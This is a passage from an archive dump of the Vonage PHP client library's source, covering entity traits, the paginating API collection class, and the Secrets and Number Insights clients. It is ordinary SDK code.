declare(strict_types=1); namespace Vonage\Entity; use Exception; use Psr\Http\Message\ResponseInterface; use RuntimeException; use function json_decode; use function sprintf; /** * @deprecated This data will be better exposed at the model level */ trait JsonResponseTrait { protected $responseJson; /** * @throws Exception * * @return array|mixed */ public function getResponseData() { if (!($this instanceof EntityInterface)) { throw new RuntimeException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (($response = @$this->getResponse()) && ($response instanceof ResponseInterface)) { if ($response->getBody()->isSeekable()) { $response->getBody()->rewind(); } $body = $response->getBody()->getContents(); $this->responseJson = json_decode($body, true); return $this->responseJson; } return []; } } src/Entity/JsonSerializableInterface.php 0000644 00000000700 15107326727 0014410 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use JsonSerializable; /** * Identifies the Entity as using JsonSerializable to prepare request data. */ interface JsonSerializableInterface extends JsonSerializable { } src/Entity/JsonUnserializableInterface.php 0000644 00000001304 15107326727 0014754 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; /** * Identifies the Entity as using JsonSerializable to prepare request data. * * @deprecated Please use a more appropriate hydrator, like ArrayHydrator */ interface JsonUnserializableInterface { /** * Update the object state with the json data (as an array) * * @deprecated Implement ArrayHydrator instead as it is more semantically correct */ public function jsonUnserialize(array $json): void; } src/Entity/ArrayAccessTrait.php 0000644 00000000617 15107326727 0012542 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; trait ArrayAccessTrait { abstract public function getResponseData(); abstract public function getRequestData(); } src/Entity/ModernCollectionTrait.php 0000644 00000001716 15107326727 0013603 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use RuntimeException; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ trait ModernCollectionTrait { use CollectionTrait; /** * Count of total items */ public function count(): int { if (isset($this->page)) { return (int)$this->page['total_items']; } return 0; } /** * @return int|mixed */ public function getPage() { if (isset($this->page)) { return $this->page['page']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } } src/Entity/HasEntityTrait.php 0000644 00000001020 15107326727 0012237 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; trait HasEntityTrait { protected $entity; /** * @param $entity */ public function setEntity($entity): void { $this->entity = $entity; } public function getEntity() { return $this->entity; } } src/Entity/IterableAPICollection.php 0000644 00000037725 15107326730 0013437 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Countable; use Iterator; use Laminas\Diactoros\Request; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\ResponseInterface; use RuntimeException; use Vonage\Client; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use function array_key_exists; use function array_merge; use function count; use function filter_var; use function http_build_query; use function is_null; use function json_decode; use function md5; use function strpos; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ class IterableAPICollection implements ClientAwareInterface, Iterator, Countable { use ClientAwareTrait; protected APIResource $api; /** * This allows for override if the endpoint API uses a different query key */ protected string $pageIndexKey = 'page_index'; /** * This allows for override if the endpoint API uses a different query key */ protected string $pageSizeKey = 'page_size'; /** * Determines if the collection will automatically go to the next page */ protected bool $autoAdvance = true; protected string $baseUrl = Client::BASE_API; /** * Holds a cache of various pages we have already polled * * @var array<string, string> */ protected array $cache = []; /** * Index of the current resource of the current page */ protected int $current = 0; /** * Count the items in the response instead of returning the count parameter * * @deprected This exists for legacy reasons, will be removed in v3 * * @var bool */ protected bool $naiveCount = false; /** * Current page data. */ protected ?array $pageData = null; /** * Last API Response */ protected ?ResponseInterface $response = null; /** * User set page index. */ protected ?int $index = 1; protected bool $isHAL = true; /** * Used to override the index, this is to hack inconsistent API behaviours */ protected bool $noIndex = false; /** * Used if there are HAL elements, but entities are all in one request * Specifically removes automatic pagination that adds request parameters */ protected bool $noQueryParameters = false; /** * User set pgge size. */ protected ?int $size = null; protected ?FilterInterface $filter = null; protected string $collectionName = ''; protected string $collectionPath = ''; protected $hydrator; /** * Used to override pagination to remove it from the URL page query * but differs from noQueryParameters when you want to use other filters */ protected bool $hasPagination = true; public function getPageIndexKey(): string { return $this->pageIndexKey; } public function setPageIndexKey(string $pageIndexKey): IterableAPICollection { $this->pageIndexKey = $pageIndexKey; return $this; } public function getPageSizeKey(): string { return $this->pageSizeKey; } public function setPageSizeKey(string $pageSizeKey): IterableAPICollection { $this->pageSizeKey = $pageSizeKey; return $this; } /** * @param $hydrator * * @return $this */ public function setHydrator($hydrator): self { $this->hydrator = $hydrator; return $this; } /** * @param $data * @param $id deprecated */ public function hydrateEntity($data, $id = null) { if ($this->hydrator) { return $this->hydrator->hydrate($data); } return $data; } public function getResourceRoot(): array { // Handles issues where an API returns empty for no results, as opposed // to a proper API response with a count field of 0 if (empty($this->pageData)) { return []; } $collectionName = $this->getApiResource()->getCollectionName(); if ($this->getApiResource()->isHAL()) { return $this->pageData['_embedded'][$collectionName]; } if (!empty($this->getApiResource()->getCollectionName())) { return $this->pageData[$collectionName]; } return $this->pageData; } /** * Return the current item, expects concrete collection to handle creating the object. * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ #[\ReturnTypeWillChange] public function current() { if (is_null($this->current)) { $this->rewind(); } return $this->hydrateEntity($this->getResourceRoot()[$this->current], $this->key()); } /** * No checks here, just advance the index. */ public function next(): void { $this->current++; } /** * Return the ID of the resource, in some cases this is `id`, in others `uuid`. * * @return string */ #[\ReturnTypeWillChange] public function key() { return $this->getResourceRoot()[$this->current]['id'] ?? $this->getResourceRoot()[$this->current]['uuid'] ?? $this->current; } /** * Handle pagination automatically (unless configured not to). * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function valid(): bool { //can't be valid if there's not a page (rewind sets this) if (!isset($this->pageData)) { return false; } //all hal collections have an `_embedded` object, we expect there to be a property matching the collection name if ( $this->getApiResource()->isHAL() && !isset($this->pageData['_embedded'][$this->getApiResource()->getCollectionName()]) ) { return false; } //if we have a page with no items, we've gone beyond the end of the collection if (!count($this->getResourceRoot())) { return false; } // If there is no item at the current counter, we've gone beyond the end of this page if (!$this->getAutoAdvance() && !isset($this->getResourceRoot()[$this->current])) { return false; } //index the start of a page at 0 if (is_null($this->current)) { $this->current = 0; } //if our current index is past the current page, fetch the next page if possible and reset the index if ($this->getAutoAdvance() && !isset($this->getResourceRoot()[$this->current])) { if (isset($this->pageData['_links'])) { if (isset($this->pageData['_links']['next'])) { $this->fetchPage($this->pageData['_links']['next']['href']); $this->current = 0; return true; } // We don't have a next page, so we're done return false; } if ($this->current === count($this->getResourceRoot())) { $this->index++; $this->current = 0; $this->fetchPage($this->getApiResource()->getBaseUri()); return !($this->count() === 0); } return false; } return true; } /** * Fetch the initial page * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function rewind(): void { $this->current = 0; $this->fetchPage($this->getApiResource()->getBaseUri()); } /** * @return $this */ public function setApiResource(APIResource $api): self { $this->api = $api; return $this; } public function getApiResource(): APIResource { return $this->api; } /** * Count of total items * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function count(): int { if (!isset($this->pageData)) { $this->rewind(); } if (isset($this->pageData)) { // Force counting the items for legacy reasons if ($this->getNaiveCount()) { return count($this->getResourceRoot()); } if (array_key_exists('total_items', $this->pageData)) { return $this->pageData['total_items']; } if (array_key_exists('count', $this->pageData)) { return $this->pageData['count']; } return count($this->getResourceRoot()); } return 0; } /** * @return $this */ public function setBaseUrl(string $url): self { $this->baseUrl = $url; return $this; } /** * @param $index * * @return $this */ public function setPage($index): self { $this->index = (int)$index; return $this; } /** * @return int|mixed */ public function getPage() { if (isset($this->pageData)) { if (array_key_exists('page', $this->pageData)) { return $this->pageData['page']; } return $this->pageData['page_index']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } /** * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function getPageData(): ?array { if (is_null($this->pageData)) { $this->rewind(); } return $this->pageData; } public function setPageData(array $data): void { $this->pageData = $data; } /** * @return int|mixed|void */ public function getSize() { if (isset($this->pageData)) { if (array_key_exists('page_size', $this->pageData)) { return $this->pageData['page_size']; } return count($this->getResourceRoot()); } if (isset($this->size)) { return $this->size; } throw new RuntimeException('size not set'); } /** * @param $size * * @return $this */ public function setSize($size): self { $this->size = (int)$size; return $this; } /** * Filters reduce to query params and include paging settings. * * @return $this */ public function setFilter(FilterInterface $filter): self { $this->filter = $filter; return $this; } public function getFilter(): FilterInterface { if (!isset($this->filter)) { $this->setFilter(new EmptyFilter()); } return $this->filter; } /** * Fetch a page using the current filter if no query is provided. * * @param $absoluteUri * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ protected function fetchPage($absoluteUri): void { //use filter if no query provided if (false === strpos($absoluteUri, '?')) { $originalUri = $absoluteUri; $query = []; if (isset($this->size)) { $query[$this->pageSizeKey] = $this->size; } if (isset($this->index) && $this->hasPagination()) { $query[$this->pageIndexKey] = $this->index; } if (isset($this->filter)) { $query = array_merge($this->filter->getQuery(), $query); } $absoluteUri .= '?' . http_build_query($query); // This is an override to completely remove request parameters for single requests if ($this->getNoQueryParameters()) { $absoluteUri = $originalUri; } } $requestUri = $absoluteUri; if (filter_var($absoluteUri, FILTER_VALIDATE_URL) === false) { $requestUri = $this->getApiResource()->getBaseUrl() . $absoluteUri; } $cacheKey = md5($requestUri); if (array_key_exists($cacheKey, $this->cache)) { $this->pageData = $this->cache[$cacheKey]; return; } $request = new Request($requestUri, 'GET'); if ($this->getApiResource()->getAuthHandler()) { $request = $this->getApiResource()->addAuth($request); } $response = $this->client->send($request); $this->getApiResource()->setLastRequest($request); $this->response = $response; $this->getApiResource()->setLastResponse($response); $body = $this->response->getBody()->getContents(); $json = json_decode($body, true); $this->cache[md5($requestUri)] = $json; $this->pageData = $json; if ((int)$response->getStatusCode() !== 200) { throw $this->getException($response); } } /** * @throws ClientException\Exception * * @return ClientException\Request|ClientException\Server */ protected function getException(ResponseInterface $response) { $response->getBody()->rewind(); $body = json_decode($response->getBody()->getContents(), true); $status = (int)$response->getStatusCode(); // Error responses aren't consistent. Some are generated within the // proxy and some are generated within voice itself. This handles // both cases // This message isn't very useful, but we shouldn't ever see it $errorTitle = $body['error-code-label'] ?? $body['error_title'] ?? $body['title'] ?? 'Unexpected error'; if ($status >= 400 && $status < 500) { $e = new ClientException\Request($errorTitle, $status); } elseif ($status >= 500 && $status < 600) { $e = new ClientException\Server($errorTitle, $status); } else { $e = new ClientException\Exception('Unexpected HTTP Status Code'); throw $e; } return $e; } public function getAutoAdvance(): bool { return $this->autoAdvance; } /** * @return $this */ public function setAutoAdvance(bool $autoAdvance): self { $this->autoAdvance = $autoAdvance; return $this; } public function getNaiveCount(): bool { return $this->naiveCount; } /** * @return $this */ public function setNaiveCount(bool $naiveCount): self { $this->naiveCount = $naiveCount; return $this; } public function setNoQueryParameters(bool $noQueryParameters): self { $this->noQueryParameters = $noQueryParameters; return $this; } public function getNoQueryParameters(): bool { return $this->noQueryParameters; } public function setIndex(?int $index): IterableAPICollection { $this->index = $index; return $this; } /** * @return bool */ public function hasPagination(): bool { return $this->hasPagination; } public function setHasPagination(bool $hasPagination): static { $this->hasPagination = $hasPagination; return $this; } } src/Entity/CollectionAwareTrait.php 0000644 00000001356 15107326730 0013410 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use RuntimeException; trait CollectionAwareTrait { /** * @var CollectionInterface */ protected $collection; public function setCollection(CollectionInterface $collection): void { $this->collection = $collection; } public function getCollection(): CollectionInterface { if (!isset($this->collection)) { throw new RuntimeException('missing collection'); } return $this->collection; } } src/Entity/NoRequestResponseTrait.php 0000644 00000002255 15107326730 0014000 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use RuntimeException; /** * Class NoRequestResponseTrait * * Allow an entity to contain last request / response objects. * * @deprecated This information will no longer be available at the model level but the API client level */ trait NoRequestResponseTrait { /** * @param ResponseInterface $response deprecated */ public function setResponse(ResponseInterface $response): void { throw new RuntimeException(__CLASS__ . ' does not support request / response'); } /** * @param RequestInterface $request deprecated */ public function setRequest(RequestInterface $request): void { throw new RuntimeException(__CLASS__ . ' does not support request / response'); } public function getRequest(): void { } public function getResponse(): void { } } src/Entity/Factory/FactoryInterface.php 0000644 00000000544 15107326731 0014167 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Factory; interface FactoryInterface { public function create(array $data); } src/Entity/CollectionTrait.php 0000644 00000014605 15107326731 0012432 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Laminas\Diactoros\Request; use Psr\Http\Message\ResponseInterface; use RuntimeException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use function array_merge; use function count; use function http_build_query; use function is_null; use function json_decode; use function strpos; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ trait CollectionTrait { /** * Index of the current resource of the current page * * @var int */ protected $current; /** * Current page data. * * @var array */ protected $page; /** * Last API Response * * @var ResponseInterface */ protected $response; /** * User set page index. * * @var int */ protected $index; /** * User set page size. * * @var int */ protected $size; /** * @var FilterInterface */ protected $filter; abstract public static function getCollectionName(): string; abstract public static function getCollectionPath(): string; /** * @param $data * @param $id */ abstract public function hydrateEntity($data, $id); /** * Return the current item, expects concrete collection to handle creating the object. */ public function current() { return $this->hydrateEntity($this->page['_embedded'][static::getCollectionName()][$this->current], $this->key()); } /** * No checks here, just advance the index. */ public function next(): void { $this->current++; } /** * Return the ID of the resource, in some cases this is `id`, in others `uuid`. * * @return string|int */ public function key() { return $this->page['_embedded'][static::getCollectionName()][$this->current]['id'] ?? $this->page['_embedded'][static::getCollectionName()][$this->current]['uuid'] ?? $this->current; } /** * Handle pagination automatically (unless configured not to). */ public function valid(): bool { //can't be valid if there's not a page (rewind sets this) if (!isset($this->page)) { return false; } //all hal collections have an `_embedded` object, we expect there to be a property matching the collection name if (!isset($this->page['_embedded'][static::getCollectionName()])) { return false; } //if we have a page with no items, we've gone beyond the end of the collection if (!count($this->page['_embedded'][static::getCollectionName()])) { return false; } //index the start of a page at 0 if (is_null($this->current)) { $this->current = 0; } //if our current index is past the current page, fetch the next page if possible and reset the index if (!isset($this->page['_embedded'][static::getCollectionName()][$this->current])) { if (isset($this->page['_links']['next'])) { $this->fetchPage($this->page['_links']['next']['href']); $this->current = 0; return true; } return false; } return true; } /** * Fetch the initial page */ public function rewind(): void { $this->fetchPage(static::getCollectionPath()); } /** * Count of total items */ public function count(): ?int { if (isset($this->page)) { return (int)$this->page['count']; } return null; } /** * @param $index * * @return $this */ public function setPage($index): CollectionTrait { $this->index = (int)$index; return $this; } /** * @return int|mixed */ public function getPage() { if (isset($this->page)) { return $this->page['page_index']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } /** * @return int|mixed */ public function getSize() { if (isset($this->page)) { return $this->page['page_size']; } if (isset($this->size)) { return $this->size; } throw new RuntimeException('size not set'); } /** * @param $size * * @return $this */ public function setSize($size): CollectionTrait { $this->size = (int)$size; return $this; } /** * Filters reduce to query params and include paging settings. * * @return $this */ public function setFilter(FilterInterface $filter): self { $this->filter = $filter; return $this; } public function getFilter(): FilterInterface { if (!isset($this->filter)) { $this->setFilter(new EmptyFilter()); } return $this->filter; } /** * Fetch a page using the current filter if no query is provided. * * @param $absoluteUri */ protected function fetchPage($absoluteUri): void { //use filter if no query provided if (false === strpos($absoluteUri, '?')) { $query = []; if (isset($this->size)) { $query['page_size'] = $this->size; } if (isset($this->index)) { $query['page_index'] = $this->index; } if (isset($this->filter)) { $query = array_merge($this->filter->getQuery(), $query); } $absoluteUri .= '?' . http_build_query($query); } $request = new Request( $this->getClient()->getApiUrl() . $absoluteUri, 'GET' ); $response = $this->client->send($request); if ((int)$response->getStatusCode() !== 200) { throw $this->getException($response); } $this->response = $response; $this->page = json_decode($this->response->getBody()->getContents(), true); } } src/Entity/RequestArrayTrait.php 0000644 00000005131 15107326731 0012760 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Exception; use RuntimeException; use Vonage\Client\Exception\Exception as ClientException; use function get_class; use function method_exists; use function parse_str; use function sprintf; /** * Implements getRequestData from EntityInterface with a simple array. Request data stored in an array, and locked once * a request object has been set. * * @deprecated This information will be available at API client level as opposed to the model level * @see EntityInterface::getRequestData() */ trait RequestArrayTrait { /** * @var array */ protected $requestData = []; /** * Get an array of params to use in an API request. * * @throws ClientException */ public function getRequestData(bool $sent = true): array { if (!($this instanceof EntityInterface)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if ($sent && ($request = $this->getRequest())) { $query = []; parse_str($request->getUri()->getQuery(), $query); return $query; } // Trigger a pre-getRequestData() hook for any last minute // decision making that needs to be done, but only if // it hasn't been sent already if (method_exists($this, 'preGetRequestDataHook')) { $this->preGetRequestDataHook(); } return $this->requestData; } /** * @throws Exception */ protected function setRequestData($name, $value): self { if (!($this instanceof EntityInterface)) { throw new RuntimeException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (@$this->getResponse()) { throw new RuntimeException( sprintf( 'can not set request parameter `%s` for `%s` after API request has be made', $name, $this::class ) ); } $this->requestData[$name] = $value; return $this; } } src/Entity/EntityInterface.php 0000644 00000001243 15107326731 0012422 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; interface EntityInterface { public function getRequest(); public function getRequestData(bool $sent = true); public function getResponse(); public function getResponseData(); public function setResponse(ResponseInterface $response); public function setRequest(RequestInterface $request); } src/Entity/JsonSerializableTrait.php 0000644 00000003056 15107326732 0013576 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use JsonSerializable; use Vonage\Client\Exception\Exception as ClientException; use function sprintf; /** * Implements getRequestData from EntityInterface based on the entity's jsonSerialize(). * * @see EntityInterface::getRequestData() * @deprecated Each model will handle serializing to/from JSON via hydrators */ trait JsonSerializableTrait { /** * Get an array of params to use in an API request. * * @param bool $sent * * @throws ClientException */ public function getRequestData($sent = true) { if (!($this instanceof EntityInterface)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (!($this instanceof JsonSerializable)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, JsonSerializable::class ) ); } //TODO, figure out what the request data actually was $sent && $this->getRequest(); return $this->jsonSerialize(); } } src/Secrets/ClientFactory.php 0000644 00000001372 15107326732 0012233 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Secrets; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Factory\FactoryInterface; class ClientFactory { public function __invoke(FactoryInterface $container): Client { $api = $container->make(APIResource::class); $api->setBaseUri('/accounts') ->setAuthHandler(new BasicHandler()) ->setCollectionName('secrets'); return new Client($api); } } src/Secrets/Client.php 0000644 00000002276 15107326732 0010707 0 ustar 00 <?php namespace Vonage\Secrets; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Entity\IterableAPICollection; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function get(string $accountId, string $id): Secret { $data = $this->api->get("{$accountId}/secrets/{$id}"); return new Secret($data); } public function list(string $accountId): IterableAPICollection { $collection = $this->api->search(null, "/accounts/{$accountId}/secrets"); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Secret()); $collection->setHydrator($hydrator); return $collection; } public function create(string $accountId, string $secret): Secret { $response = $this->api->create(['secret' => $secret], "/{$accountId}/secrets"); return new Secret($response); } public function revoke(string $accountId, string $id) { $this->api->delete("{$accountId}/secrets/{$id}"); } } src/Secrets/Secret.php 0000644 00000001703 15107326732 0010710 0 ustar 00 <?php namespace Vonage\Secrets; use DateTimeImmutable; use DateTimeInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Secret implements ArrayHydrateInterface { /** * @var DateTimeImmutable */ protected $createdAt; /** * @var string */ protected $id; public function __construct(array $data = []) { if (!empty($data)) { $this->fromArray($data); } } public function getId(): string { return $this->id; } public function getCreatedAt(): DateTimeInterface { return $this->createdAt; } public function fromArray(array $data) { $this->id = $data['id']; $this->createdAt = new DateTimeImmutable($data['created_at']); } public function toArray(): array { return [ 'id' => $this->id, 'created_at' => $this->createdAt->format('Y-m-d\TH:i:s\Z'), ]; } } src/Insights/StandardCnam.php 0000644 00000000521 15107326733 0012200 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class StandardCnam extends Standard { use CnamTrait; } src/Insights/ClientFactory.php 0000644 00000001317 15107326733 0012413 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicQueryHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api->setIsHAL(false); $api->setAuthHandler(new BasicQueryHandler()); return new Client($api); } } src/Insights/Client.php 0000644 00000012611 15107326733 0011062 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use Vonage\Entity\Filter\KeyValueFilter; use Vonage\Numbers\Number; use function is_null; /** * Class Client */ class Client implements APIClient { public function __construct(protected ?APIResource $api = null) { } public function getApiResource(): APIResource { return clone $this->api; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function basic($number): Basic { $insightsResults = $this->makeRequest('/ni/basic/json', $number); $basic = new Basic($insightsResults['national_format_number']); $basic->fromArray($insightsResults); return $basic; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function standardCNam($number): StandardCnam { $insightsResults = $this->makeRequest('/ni/standard/json', $number, ['cnam' => 'true']); $standard = new StandardCnam($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advancedCnam($number): AdvancedCnam { $insightsResults = $this->makeRequest('/ni/advanced/json', $number, ['cnam' => 'true']); $standard = new AdvancedCnam($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function standard($number): Standard { $insightsResults = $this->makeRequest('/ni/standard/json', $number); $standard = new Standard($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advanced($number): Advanced { $insightsResults = $this->makeRequest('/ni/advanced/json', $number); $advanced = new Advanced($insightsResults['national_format_number']); $advanced->fromArray($insightsResults); return $advanced; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advancedAsync($number, string $webhook): void { // This method does not have a return value as it's async. If there is no exception thrown // We can assume that everything is fine $this->makeRequest('/ni/advanced/async/json', $number, ['callback' => $webhook]); } /** * Common code for generating a request * * @param $number * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ public function makeRequest(string $path, $number, array $additionalParams = []): array { $api = $this->getApiResource(); $api->setBaseUri($path); if ($number instanceof Number) { $number = $number->getMsisdn(); } $query = ['number' => $number] + $additionalParams; $result = $api->search(new KeyValueFilter($query)); $data = $result->getPageData(); // check the status field in response (HTTP status is 200 even for errors) if ((int)$data['status'] !== 0) { throw $this->getNIException($data); } return $data; } /** * Parses response body for an error and throws it * This API returns a 200 on an error, so does not get caught by the normal * error checking. We check for a status and message manually. */ protected function getNIException(array $body): ClientException\Request { $status = $body['status']; $message = "Error: "; if (isset($body['status_message'])) { $message .= $body['status_message']; } // the advanced async endpoint returns status detail in another field // this is a workaround if (isset($body['error_text'])) { $message .= $body['error_text']; } return new ClientException\Request($message, $status); } } src/Insights/Advanced.php 0000644 00000000761 15107326734 0011355 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class Advanced extends Standard { public function getValidNumber() { return $this->data['valid_number']; } public function getReachable() { return $this->data['reachable']; } } src/Insights/Basic.php 0000644 00000002733 15107326734 0010672 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Basic implements ArrayHydrateInterface { protected array $data = []; /** * @param $number */ public function __construct($number) { $this->data['national_format_number'] = $number; } public function getRequestId(): string { return $this->data['request_id']; } public function getNationalFormatNumber(): string { return $this->data['national_format_number']; } public function getInternationalFormatNumber(): string { return $this->data['international_format_number']; } public function getCountryCode(): string { return $this->data['country_code']; } public function getCountryCodeISO3(): string { return $this->data['country_code_iso3']; } public function getCountryName(): string { return $this->data['country_name']; } public function getCountryPrefix(): string { return $this->data['country_prefix']; } public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } } src/Insights/index.php 0000644 00000002306 15107326734 0010754 0 ustar 00 <?php 